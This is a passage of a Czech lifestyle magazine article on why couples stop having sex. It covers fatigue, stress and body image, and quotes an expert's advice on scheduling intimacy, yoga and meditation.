Absence sexu skutečně může vztah negativně ovlivnit,“ uvádí expertka a zároveň vyjmenovává tři hlavní současné důvody, proč tolik dvojic přestává mít sexuální život. Ve kterém z nich se poznáte?

Když tvrdě pracujete po celý den, sex je asi to poslední, na co máte náladu. Zvlášť když vás druhý den čeká důležitá prezentace. Je to pochopitelné, nicméně aspoň někdy se zkuste „přemoct“ i ve stavu největší únavové krize.

Sex totiž stimuluje sekreci hormonů, jako je oxytocin, který zvyšuje pocit spojení a sounáležitosti, a dopamin, jenž způsobuje, že je vám dobře. Ve výsledku se budete cítit spokojeně.

Jestli je pro vás sex uprostřed týdne doopravdy nemyslitelný, naplánujte jej třeba na sobotu ráno, když se děti dívají na kreslené pohádky.

Stačí hodina vašeho času jednou za dva týdny! Tak se s partnerem neodcizíte!

Foto: Stokkete, Shutterstock.com

Když padáte pod tíhou pracovních úkolů, nemáte na sex ani pomyšlení

Jill Blakeway říká, že stres je jako parazit. Má tendenci vysávat z vás život a jeho vinou jste méně v kontaktu s tím, jak se vaše tělo cítí. Zkrátka a dobře vás odpoutává od sebe sama. Pak nemáte čelit napětí a únavě! „Při chronickém stresu doporučuji zkusit akupunkturu, která může pomoci s průtokem krve v důležitých částech, taky nedám dopustit na jógu nebo meditaci,“ uvádí expertka.

Ženy jsou bombardovány nerealistickými obrazy těl. Každý den čelí kráskám upraveným prostřednictvím plastické chirurgie, Photoshopu nebo dokonce nepřirozeně upraveným pornoherečkám.

„Když naše kulturní představivost chválí jakýsi nadhodnocený ideál, je snadné podlehnout depresím a cítit se špatně třeba jen pro trochu silnější stehna,“ dál uvádí Jill Blakeway.

Co v takovém případě dělat? Nechte okolí okolím a soustřeďte se na svoje vlastní myšlenky a nastavení.

Pornografie cílí na výkon, magazíny s dokonalými titulními stranami na prodej. Ale sex s vaším partnerem je skutečný.

Prožívejte ho tak, jako by byl poslední, a vystavujte na odiv ty části těla, ke kterým máte pozitivní vztah. To vám psychicky pomůže.

Muži jsou vizuálně zaměření tvorové, takže jim mnohdy stačí odhalit kousek pokožky a už jsou mimo sebe. Využíváte jejich slabost pro obnažené ženské tělo, spojenou s mohutnou fantazií?

A proč sex nemáte zrovna vy?

Diskuze

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *

Adblock
detector